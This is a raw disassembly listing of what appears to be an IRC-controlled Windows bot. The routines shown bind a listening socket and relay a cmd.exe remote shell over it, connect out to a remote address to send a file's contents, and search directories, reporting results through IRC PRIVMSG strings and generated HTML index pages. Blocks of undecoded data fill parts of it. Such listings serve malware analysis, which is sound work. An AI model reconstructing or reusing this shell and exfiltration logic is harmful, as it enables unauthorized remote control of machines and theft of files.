dd 592F6A59h, 0B48DFC8Bh, 0C824h, 0F3016A00h, 0FB4DE8A5h
dd 0C481FFFFh, 0C0h, 1F468h, 1415FF00h, 680042B0h, 7C7h
dd 0BCEC81h, 2F6A0000h, 24B48D59h, 0CCh, 0A5F3FC8Bh, 9D0FE8h
dd 0C0C48100h, 3C000000h, 8B177501h, 0B42484h, 0E0C10000h
dd 88808D06h, 0FF0043D8h, 40C03300h, 0C03302EBh, 56C35E5Fh
dd 0BCEC8157h, 6A000000h, 0FC8B592Fh, 0C824B48Dh, 6A000000h
dd 0E8A5F300h, 0FFFFFADBh, 592F6A59h, 0B48DFC8Bh, 0C824h
dd 0F3006A00h, 0FAC5E8A5h, 0C481FFFFh, 0C0h, 1F468h, 1415FF00h
dd 680042B0h, 7C7h, 0BCEC81h, 2F6A0000h, 24B48D59h, 0CCh
dd 0A5F3FC8Bh, 9C87E8h, 0C0C48100h, 3C000000h, 8B177501h
dd 0B42484h, 0E0C10000h, 88808D06h, 0FF0043D8h, 40C03300h
dd 0C03302EBh
db 5Fh, 5Eh, 0C3h
; ---------------------------------------------------------------------------
loc_4114C7: ; DATA XREF: seg000:004116ADo
push ebp
mov ebp, esp
sub esp, 404h
loc_4114D0: ; CODE XREF: seg000:004114ECj
; seg000:00411508j
push 0
push 400h
lea eax, [ebp-404h]
push eax
push ds:dword_4D5250
call ds:dword_444064 ; recv
test eax, eax
jle short loc_4114D0
push 0
lea ecx, [ebp-4]
push ecx
push eax
lea eax, [ebp-404h]
push eax
push ds:dword_4D5248
call ds:dword_42B084 ; WriteFile
jmp short loc_4114D0
; ---------------------------------------------------------------------------
loc_41150A: ; DATA XREF: seg000:00411694o
push ebp
mov ebp, esp
sub esp, 404h
loc_411513: ; CODE XREF: seg000:00411539j
; seg000:00411553j
and dword ptr [ebp-4], 0
push 0
lea eax, [ebp-4]
push eax
push 400h
lea eax, [ebp-404h]
push eax
push ds:dword_4D524C
call ds:dword_42B080 ; ReadFile
cmp dword ptr [ebp-4], 0
jle short loc_411513
push 0
push dword ptr [ebp-4]
lea eax, [ebp-404h]
push eax
push ds:dword_4D5250
call ds:dword_4441A0 ; send
jmp short loc_411513
; ---------------------------------------------------------------------------
loc_411555: ; DATA XREF: sub_40274D+2AF2o
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+8]
push ebx
push esi
push edi
push 28h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
rep movsd
xor esi, esi
inc esi
push 10h
mov [eax+98h], esi
xor edi, edi
lea eax, [ebp-38h]
push edi
push eax
call sub_41E5F0
add esp, 0Ch
push dword ptr [ebp-98h]
mov word ptr [ebp-38h], 2
call ds:dword_444260 ; htons
push 6
push esi
push 2
mov [ebp-36h], ax
call ds:dword_444100 ; socket
mov [ebp+8], eax
push 10h
lea eax, [ebp-38h]
push eax
push dword ptr [ebp+8]
call ds:dword_4441E4 ; bind
push 5
push dword ptr [ebp+8]
call ds:dword_444230 ; listen
mov ebx, ds:dword_42B0A0
mov esi, ds:dword_42B004
loc_4115D5: ; CODE XREF: seg000:0041171Dj
push edi
push edi
push dword ptr [ebp+8]
call ds:dword_4440BC ; accept
push edi
mov ds:dword_4D5250, eax
lea eax, [ebp-0Ch]
push eax
push offset dword_4D5248
push offset dword_4D5244
mov dword ptr [ebp-0Ch], 0Ch
mov dword ptr [ebp-4], 1
mov [ebp-8], edi
call ebx ; CreatePipe
push edi
lea eax, [ebp-0Ch]
push eax
push offset dword_4D5254
push offset dword_4D524C
call ebx ; CreatePipe
push 44h
lea eax, [ebp-7Ch]
push edi
push eax
call sub_41E5F0
mov eax, ds:dword_4D5244
add esp, 0Ch
push edi
mov [ebp-44h], eax
mov eax, ds:dword_4D5254
push 1
mov [ebp-40h], eax
push 2
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-7Ch], 44h
mov dword ptr [ebp-50h], 101h
mov [ebp-4Ch], di
call ds:dword_42B09C ; GetCurrentProcess
push eax
push ds:dword_4D5254
call ds:dword_42B09C ; GetCurrentProcess
push eax
call ds:dword_42B098 ; DuplicateHandle
lea eax, [ebp-28h]
push eax
lea eax, [ebp-7Ch]
push eax
push edi
push edi
push 4000090h
push 1
lea eax, [ebp-0Ch]
push eax
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call ds:dword_42B008 ; CreateProcessA
lea eax, [ebp-18h]
push eax
push edi
push edi
push offset loc_41150A
push edi
lea eax, [ebp-0Ch]
push eax
call ds:dword_42B03C ; CreateThread
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push edi
push edi
push offset loc_4114C7
push edi
lea eax, [ebp-0Ch]
push eax
call ds:dword_42B03C ; CreateThread
push 0FFFFFFFFh
push dword ptr [ebp-28h]
mov [ebp-10h], eax
call ds:dword_42B054 ; WaitForSingleObject
push edi
push dword ptr [ebp-10h]
call ds:dword_42B028 ; TerminateThread
push edi
push dword ptr [ebp-14h]
call ds:dword_42B028 ; TerminateThread
push dword ptr [ebp-10h]
call esi ; CloseHandle
push dword ptr [ebp-14h]
call esi ; CloseHandle
push edi
push dword ptr [ebp-28h]
call ds:dword_42B094 ; TerminateProcess
push ds:dword_4D5244
call esi ; CloseHandle
push ds:dword_4D5248
call esi ; CloseHandle
push ds:dword_4D524C
call esi ; CloseHandle
push ds:dword_4D5254
call esi ; CloseHandle
push dword ptr [ebp-24h]
call esi ; CloseHandle
push dword ptr [ebp-28h]
call esi ; CloseHandle
jmp loc_4115D5
; ---------------------------------------------------------------------------
word_411722 dw 8D55h ; DATA XREF: seg000:0040B9E2o
dd 818C246Ch, 6C0ECh, 7C458B00h, 6A575653h, 0F08B5927h
dd 0F3B47D8Dh, 46F633A5h, 0B089106Ah, 98h, 458DDB33h, 0E8505360h
dd 0CE9Ch, 0FF0CC483h, 0C766C075h, 26045h, 426015FFh, 56530044h
dd 8966026Ah, 5D896245h, 15FF64h, 8B004441h, 0FFCE83F8h
dd 5675FE3Bh, 41C415FFh, 8D500044h, 0FFFDB485h, 3EDC68FFh
dd 0E8500043h, 0CF0Eh, 390CC483h, 1A75485Dh, 4475FF53h
dd 0FDB4858Dh, 8D50FFFFh, 0FF50C445h, 84E8B475h, 83FFFEFAh
dd 858D14C4h, 0FFFFFDB4h, 65AAE850h, 75FF0000h, 997BE8B8h
dd 5959FFFFh, 223E953h, 458B0000h, 34C069B8h, 89000002h
dd 4444F4B8h, 8D106A00h, 57506045h, 41E415FFh, 0C63B0044h
dd 400BBh, 0E8850F00h, 0FF000000h, 4441C415h, 27403D00h
dd 52740000h, 0B4858D50h, 68FFFFFDh, 433EA0h, 0CE88E850h
dd 0F6330000h, 390CC483h, 1A754875h, 4475FF56h, 0FDB4858Dh
dd 8D50FFFFh, 0FF50C445h, 0FCE8B475h, 83FFFEF9h, 858D14C4h
dd 0FFFFFDB4h, 6522E850h, 75FF0000h, 98F3E8B8h, 5959FFFFh
dd 19BE956h, 0FE680000h, 530000FFh, 9ABCE8h, 0A3595900h
dd 4D525Ch, 62458966h, 458D106Ah, 0FF575060h, 4441E415h
dd 75C63B00h, 0C415FF62h, 8B004441h, 858D56F0h, 0FFFFFDB4h
dd 433EA068h, 7E85000h, 330000CEh, 0CC483FFh, 75487D39h
dd 40FE8122h, 74000027h, 75FF571Ah, 0B4858D44h, 50FFFFFDh
dd 50C4458Dh, 0E8B475FFh, 0FFFEF973h, 8D14C483h, 0FFFDB485h
dd 99E850FFh, 0FF000064h, 6AE8B875h, 59FFFF98h, 12E95759h
dd 6A000001h, 15FF5705h, 444230h, 840FC63Bh, 0EFh, 107045C7h
dd 0BE000000h, 43C10Ch, 5070458Dh, 5050458Dh, 0BC15FF57h
dd 83004440h, 4589FFF8h, 0FE9747Ch, 505245B7h, 0FF5475FFh
dd 44418815h, 858D5000h, 0FFFFFDB4h, 433E6868h, 6BE85000h
dd 830000CDh, 7D8310C4h, 1B750048h, 75FF006Ah, 0B4858D44h
dd 50FFFFFDh, 50C4458Dh, 0E8B475FFh, 0FFFEF8DFh, 8D14C483h
dd 0FFFDB485h, 5E850FFh, 59000064h, 68006Ah, 8D000002h
dd 0FFFDB485h, 75FF50FFh, 6415FF7Ch, 83004440h, 840FFFF8h
dd 0FFFFFF78h, 35FF5656h, 4D1FE4h, 0E8B475FFh, 0FFFF0A2Dh
dd 0F8685059h, 8D00433Dh, 0FFF9B485h, 0E85053FFh, 0CD4Eh
dd 8D1CC483h, 0FFF9B485h, 50006AFFh, 0C7FFE8h, 8D505900h
dd 0FFF9B485h, 75FF50FFh, 0A015FF7Ch, 83004441h, 840FFFF8h
dd 0FFFFFF28h, 525805FFh, 1DE9004Dh, 57FFFFFFh, 421815FFh
dd 75FF0044h, 9753E8B8h, 6A59FFFFh, 6815FF00h, 0CC0042B0h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
call ds:dword_42B204 ; WSAStartup
push 0
push 1
push 2
call ds:dword_42B20C ; socket
push dword ptr [ebp+8]
mov ds:dword_4D5260, eax
mov word ptr [ebp-10h], 2
call ds:dword_42B218 ; inet_addr
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
call ds:dword_42B200 ; htons
mov [ebp-0Eh], ax
push 10h
lea eax, [ebp-10h]
push eax
push ds:dword_4D5260
call ds:dword_42B1F4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_411A78
push ds:dword_4D5260
call ds:dword_42B1F8 ; closesocket
call ds:dword_42B1FC ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_411A78: ; CODE XREF: seg000:00411A60j
xor eax, eax
inc eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
push 104h
lea eax, [ebp-104h]
push eax
push 0
call ds:dword_42B00C ; GetModuleFileNameA
lea eax, [ebp-104h]
push offset byte_42B630
push eax
call sub_41E54E
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_411B14
test byte ptr [esi+0Ch], 10h
jnz short loc_411AF8
push edi
mov edi, 400h
loc_411AC0: ; CODE XREF: seg000:00411AF5j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41E2D9
add esp, 10h
push 0
push edi
lea eax, [ebp-504h]
push eax
push ds:dword_4D5260
call ds:dword_42B210 ; send
push 1
call ds:dword_42B014 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_411AC0
pop edi
loc_411AF8: ; CODE XREF: seg000:00411AB8j
push esi
call sub_41E24B
pop ecx
push ds:dword_4D5260
call ds:dword_42B1F8 ; closesocket
call ds:dword_42B1FC ; WSACleanup
xor eax, eax
inc eax
loc_411B14: ; CODE XREF: seg000:00411AB2j
pop esi
leave
retn
; ---------------------------------------------------------------------------
aUnlMbP db 'Ul$Γp',0Ah,0 ; DATA XREF: seg000:0040B8BBo
align 2
dw 458Bh
dd 5756537Ch, 0DB33F08Bh, 0A9B943h, 0BD8D0000h, 0FFFFF994h
dd 9889A5F3h, 2A0h, 0F604858Dh, 3350FFFFh, 10168F6h, 5D890000h
dd 485D8958h, 89505D89h, 0FFFE48B5h, 38B589FFh, 0FFFFFFFCh
dd 42B20415h, 6A535600h, 0C15FF02h, 8B0042B2h, 42B1E035h
dd 8D046A00h, 6A51584Dh, 0FFFFBF04h, 50570000h, 0FF6C4589h
dd 8D046AD6h, 6A504845h, 7D8B57FBh, 0D6FF576Ch, 5050458Dh
dd 4667E68h, 15FF5780h, 42B1E4h, 2C6583h, 0A166C033h, 4D1FE4h
dd 2845C766h, 0FF500002h, 44426015h, 45896600h, 8D106A2Ah
dd 57502845h, 0B1E815FFh, 0C0850042h, 54B8C0Fh, 0A6A0000h
dd 0EC15FF57h, 6A0042B1h, 0C0335941h, 8D505050h, 0FFFC3885h
dd 458B50FFh, 4CBD896Ch, 89FFFFFEh, 8D40707Dh, 0FFFE48B5h
dd 38BD8DFFh, 89FFFFFCh, 0FFFE489Dh, 0A5F350FFh, 0B21C15FFh
dd 0F8830042h, 2840FFFh, 8B000005h, 42B2101Dh, 39FF3300h
dd 7D89707Dh, 0BA8C0F7Ch, 6A000004h, 0D4858D64h, 6AFFFFFDh
dd 0A5E85000h, 6A0000C9h, 8DF63364h, 5056C445h, 0C997E8h
dd 18C48300h, 0FC38858Dh, 5750FFFFh, 17C6DE8h, 0FC08500h
dd 47784h, 6C7D3B00h, 458D6C75h, 858D5064h, 0FFFFFE38h
dd 6C75FF50h, 106445C7h, 0FF000000h, 42B1F015h, 0FFF88300h
dd 44E840Fh, 958B0000h, 0FFFFFE48h, 0D63BC933h, 84390E76h
dd 0FFFE4C8Dh, 410574FFh, 0F272CA3Bh, 1275CA3Bh, 7340FA83h
dd 8D84890Dh, 0FFFFFE4Ch, 0FE4885FFh, 453BFFFFh, 89037E70h
dd 6A567045h, 41746815h, 0FF500043h, 406E9D3h, 6A560000h
dd 0D4858D64h, 50FFFFFDh, 815FF57h, 850042B2h, 8B487FC0h
dd 0FFFE488Dh, 3BC033FFh, 393076CEh, 0FE4C85BCh, 1C74FFFFh
dd 72C13B40h, 8B20EBF2h, 0FE50858Ch, 8C89FFFFh, 0FFFE4C85h
dd 488D8BFFh, 40FFFFFEh, 72C13B49h, 488DFFE6h, 57FFFFFEh
dd 0B1F815FFh, 0A9E90042h, 8D000003h, 0FFFD3C85h, 458D50FFh
dd 858D50C4h, 0FFFFFDD4h, 43416C68h, 0E2E85000h, 8D0000D9h
dd 6468C445h, 50004341h, 0CC27E8h, 18C48300h, 0D75C085h
dd 68166A56h, 43414Ch, 356E9h, 0C4458D00h, 43414468h, 5E85000h
dd 850000CCh, 755959C0h, 146A560Dh, 43412C68h, 335E900h
dd 458D0000h, 412468C4h, 0E8500043h, 0CBE4h, 5959C085h
dd 6A560D75h, 4114680Dh, 14E90043h, 8D000003h, 0C68C445h
dd 50004341h, 0CBC3E8h, 59C08500h, 560D7559h, 0F868106Ah
dd 0E9004340h, 2F3h, 68C4458Dh, 4340F4h, 0CBA2E850h, 0C0850000h
dd 0D755959h, 681E6A56h, 4340D4h, 2D2E9h, 0C4458D00h, 4340CC68h
dd 81E85000h, 850000CBh, 755959C0h, 3C858D24h, 68FFFFFDh
dd 4340C8h, 0CB6AE850h, 0C0850000h, 0D755959h, 68136A56h
dd 4340B4h, 29AE9h, 0C4458D00h, 4340CC68h, 49E85000h, 850000CBh
dd 755959C0h, 3C858D24h, 68FFFFFDh, 4340B0h, 0CB32E850h
dd 0C0850000h, 0D755959h, 68136A56h, 43409Ch, 262E9h, 0C4458D00h
dd 43409468h, 11E85000h, 850000CBh, 755959C0h, 590A6A37h
dd 434068BEh, 4CBD8D00h, 0F3FFFFFFh, 858D50A5h, 0FFFFFF4Ch
dd 0E8A56650h, 0C31Ch, 858D5059h, 0FFFFFF4Ch, 7C75FF50h
dd 7D8BD3FFh, 0E9F6337Ch, 21Ah, 68C4458Dh, 434060h, 0CAC6E850h
dd 0C0850000h, 21755959h, 0BE59056Ah, 434048h, 0F3AC7D8Dh
dd 50A566A5h, 50AC458Dh, 0C2D6E8A4h, 50590000h, 0EBAC458Dh
dd 0C4458DBBh, 43404068h, 91E85000h, 850000CAh, 0F5959C0h
dd 0B685h, 0A0858D00h, 50FFFFFDh, 0FF78858Dh, 8D50FFFFh
dd 8D506045h, 8D505C45h, 8D505445h, 8D504C45h, 0FFFDD485h
dd 401868FFh, 0E8500043h, 0D805h, 0FF78858Dh, 0E850FFFFh
dd 0C869h, 8D684589h, 0FFFDA085h, 5AE850FFh, 6A0000C8h
dd 7C458932h, 0FF78858Dh, 5056FFFFh, 0C68BE8h, 7C75FF00h
dd 0FF78858Dh, 75FFFFFFh, 40106868h, 0E8500043h, 0C72Ah
dd 6A44C483h, 78858D10h, 56FFFFFFh, 0CCD3E850h, 45890000h
dd 60458D68h, 5C458D50h, 54458D50h, 4C458D50h, 38458D50h
dd 43400468h, 0F7E85000h, 830000C6h, 6A5624C4h, 3FE4681Dh
dd 14E90043h, 8D000001h, 0DC68C445h, 5000433Fh, 0C9C3E8h
dd 59C08500h, 0E0850F59h, 56000000h, 0B068286Ah, 5700433Fh
dd 75FFD3FFh, 38458D68h, 0FA12E850h, 0F883FFFFh, 0F595901h
dd 0B485h, 38458D00h, 94858D50h, 68FFFFF7h, 433F8Ch, 0C698E850h
dd 0C4830000h, 30B5390Ch, 75FFFFFCh, 0B5FF5623h, 0FFFFFC2Ch
dd 0F794858Dh, 8D50FFFFh, 0FFFBAC85h, 0B5FF50FFh, 0FFFFF994h
dd 0FEF202E8h, 14C483FFh, 0FFFA3CE8h, 1F883FFh, 8C850Fh
dd 6A560000h, 3F746817h, 0FF570043h, 38458DD3h, 94858D50h
dd 68FFFFF7h, 433F58h, 0C63CE850h, 0C4830000h, 30B5390Ch
dd 75FFFFFCh, 0B5FF5623h, 0FFFFFC2Ch, 0F794858Dh, 8D50FFFFh
dd 0FFFBAC85h, 0B5FF50FFh, 0FFFFF994h, 0FEF1A6E8h, 14C483FFh
dd 0F794858Dh, 0E850FFFFh, 5CCCh, 400C05FFh, 0EB59004Dh
dd 206A5629h, 433F3468h, 8D1CEB00h, 4068C445h, 500042FCh
dd 0C8CBE8h, 59C08500h, 560B7559h, 18681B6Ah, 5700433Fh
dd 646AD3FFh, 0FDD4858Dh, 5056FFFFh, 0C50BE8h, 0CC48300h
dd 707D3B47h, 0F7C7D89h, 0FFFB468Eh, 59416AFFh, 5050C033h
dd 38858D50h, 50FFFFFCh, 4070458Bh, 0FE48B58Dh, 0BD8DFFFFh
dd 0FFFFFC38h, 0FFA5F350h, 42B21C15h, 0FFF88300h, 0FB07850Fh
dd 0DB33FFFFh, 8B5E5F43h, 0C5835BC3h, 4C2C974h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412135 proc near ; CODE XREF: sub_40274D+73A7p
var_598 = byte ptr -598h
var_494 = byte ptr -494h
var_38C = dword ptr -38Ch
var_378 = byte ptr -378h
var_36C = dword ptr -36Ch
var_360 = byte ptr -360h
var_24C = byte ptr -24Ch
var_4C = byte ptr -4Ch
var_24 = byte ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 598h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_598]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41E5F0
mov edi, [ebp+arg_0]
push offset asc_42CC64 ; "\n"
push edi
call sub_41E7B2
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_412194
push [ebp+arg_8]
mov esi, 200h
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
lea eax, [ebp+var_24C]
push esi
push eax
call sub_41E6FE
add esp, 14h
jmp loc_412290
; ---------------------------------------------------------------------------
loc_412194: ; CODE XREF: sub_412135+3Bj
cmp [ebp+arg_C], ebx
jz loc_412276
call sub_41E1C0
push edi
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
mov [eax+edi-1], bl
mov esi, 200h
lea eax, [ebp+var_24C]
push esi
push eax
call sub_41E6FE
add esp, 14h
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_24C]
push esi
push eax
call sub_41E6FE
add esp, 10h
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
push edi
call sub_41E1C0
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
mov byte ptr [eax+edi], 2Ah
lea eax, [ebp+var_24C]
push esi
push eax
call sub_41E6FE
add esp, 1Ch
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_24C]
push esi
push eax
call sub_41E6FE
add esp, 0Ch
jmp short loc_412290
; ---------------------------------------------------------------------------
loc_412276: ; CODE XREF: sub_412135+62j
push offset aSearchingForS ; "Searching for: %s\r\n"
mov esi, 200h
lea eax, [ebp+var_24C]
push esi
push eax
call sub_41E6FE
add esp, 10h
loc_412290: ; CODE XREF: sub_412135+5Aj
; sub_412135+13Fj
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
cmp [ebp+arg_C], ebx
jz short loc_412328
push [ebp+arg_C]
call sub_41E1C0
cmp eax, 2
pop ecx
jbe short loc_412328
push [ebp+arg_C]
call sub_41E1C0
sub eax, 3
pop ecx
jz short loc_4122DC
loc_4122D0: ; CODE XREF: sub_412135+1A5j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_4122DC
dec eax
jnz short loc_4122D0
loc_4122DC: ; CODE XREF: sub_412135+199j
; sub_412135+1A2j
inc eax
push eax
push [ebp+arg_C]
lea eax, [ebp+var_598]
push eax
call sub_41E860
lea eax, [ebp+var_598]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_24C]
push esi
push eax
call sub_41E6FE
add esp, 1Ch
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
loc_412328: ; CODE XREF: sub_412135+17Dj
; sub_412135+18Bj
lea eax, [ebp+var_38C]
push eax
push edi
call ds:dword_42B0B4 ; FindFirstFileA
lea ecx, [ebp+var_38C]
push ecx
push eax
mov [ebp+var_C], eax
call ds:dword_42B0B0 ; FindNextFileA
test eax, eax
jz loc_41271F
mov edi, 1FFh
loc_412354: ; CODE XREF: sub_412135+5E4j
cmp [ebp+var_38C], ebx
jz loc_412707
lea eax, [ebp+var_360]
push offset a__ ; ".."
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_412707
lea eax, [ebp+var_360]
push offset a__0 ; "."
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_412707
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_378]
push eax
call ds:dword_42B0AC ; FileTimeToLocalFileTime
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
call ds:dword_42B0A8 ; FileTimeToSystemTime
mov ax, [ebp+var_14]
cmp ax, 0Ch
mov ecx, offset aPm_0 ; "PM"
ja loc_412451
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_4123D0: ; CODE XREF: sub_412135+322j
push ecx
movzx ecx, [ebp+var_12]
push ecx
push eax
movzx eax, [ebp+var_1C]
push eax
movzx eax, [ebp+var_16]
push eax
movzx eax, [ebp+var_1A]
push eax
lea eax, [ebp+var_4C]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41E6A6
add esp, 20h
test byte ptr [ebp+var_38C], 10h
jz loc_412588
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_41245C
lea eax, [ebp+var_360]
push eax
push offset aS_2 ; "<%s>"
lea eax, [ebp+var_494]
push 106h
push eax
call sub_41E6FE
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_494]
push eax
push [ebp+arg_8]
lea eax, [ebp+var_24C]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41E6FE
add esp, 28h
jmp loc_4126D8
; ---------------------------------------------------------------------------
loc_412451: ; CODE XREF: sub_412135+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_4123D0
; ---------------------------------------------------------------------------
loc_41245C: ; CODE XREF: sub_412135+2D5j
cmp [ebp+arg_C], ebx
jz loc_412546
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_24C]
push edi
push eax
call sub_41E6FE
add esp, 10h
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
lea eax, [ebp+var_360]
push eax
push [ebp+arg_C]
lea eax, [ebp+var_24C]
push offset aSS_3 ; "%s%s/"
push edi
push eax
call sub_41E6FE
add esp, 14h
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
lea eax, [ebp+var_360]
push eax
call sub_41E1C0
cmp eax, 1Eh
lea eax, [ebp+var_360]
pop ecx
push eax
lea eax, [ebp+var_24C]
jbe short loc_412502
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_412507
; ---------------------------------------------------------------------------
loc_412502: ; CODE XREF: sub_412135+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_412507: ; CODE XREF: sub_412135+3CBj
push edi
push eax
call sub_41E6FE
add esp, 10h
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
push 3Ch
lea eax, [ebp+var_4C]
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4126C9
; ---------------------------------------------------------------------------
loc_412546: ; CODE XREF: sub_412135+32Aj
lea eax, [ebp+var_360]
push eax
push offset aS_2 ; "<%s>"
lea eax, [ebp+var_494]
push 106h
push eax
call sub_41E6FE
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_494]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_412573: ; CODE XREF: sub_412135+47Bj
lea eax, [ebp+var_24C]
push esi
push eax
call sub_41E6FE
add esp, 24h
jmp loc_4126D8
; ---------------------------------------------------------------------------
loc_412588: ; CODE XREF: sub_412135+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4125B2
push ebx
push [ebp+var_36C]
call sub_419443
push eax
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_360]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_412573
; ---------------------------------------------------------------------------
loc_4125B2: ; CODE XREF: sub_412135+459j
cmp [ebp+arg_C], ebx
jz loc_4126B2
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_24C]
push edi
push eax
call sub_41E6FE
add esp, 10h
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
lea eax, [ebp+var_360]
push eax
push [ebp+arg_C]
lea eax, [ebp+var_24C]
push offset aSS ; "%s%s"
push edi
push eax
call sub_41E6FE
add esp, 14h
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
lea eax, [ebp+var_360]
push eax
call sub_41E1C0
cmp eax, 1Fh
lea eax, [ebp+var_360]
pop ecx
push eax
lea eax, [ebp+var_24C]
jbe short loc_412658
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_41265D
; ---------------------------------------------------------------------------
loc_412658: ; CODE XREF: sub_412135+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_41265D: ; CODE XREF: sub_412135+521j
push edi
push eax
call sub_41E6FE
add esp, 10h
lea eax, [ebp+var_24C]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_24C]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
mov eax, [ebp+var_36C]
shr eax, 0Ah
push eax
push 3Ch
lea eax, [ebp+var_4C]
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_24C]
push edi
push eax
call sub_41E6FE
add esp, 1Ch
jmp short loc_4126D8
; ---------------------------------------------------------------------------
loc_4126B2: ; CODE XREF: sub_412135+480j
push [ebp+var_36C]
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_360]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_4126C9: ; CODE XREF: sub_412135+40Cj
lea eax, [ebp+var_24C]
push eax
call sub_41E6FE
add esp, 18h
loc_4126D8: ; CODE XREF: sub_412135+317j
; sub_412135+44Ej ...
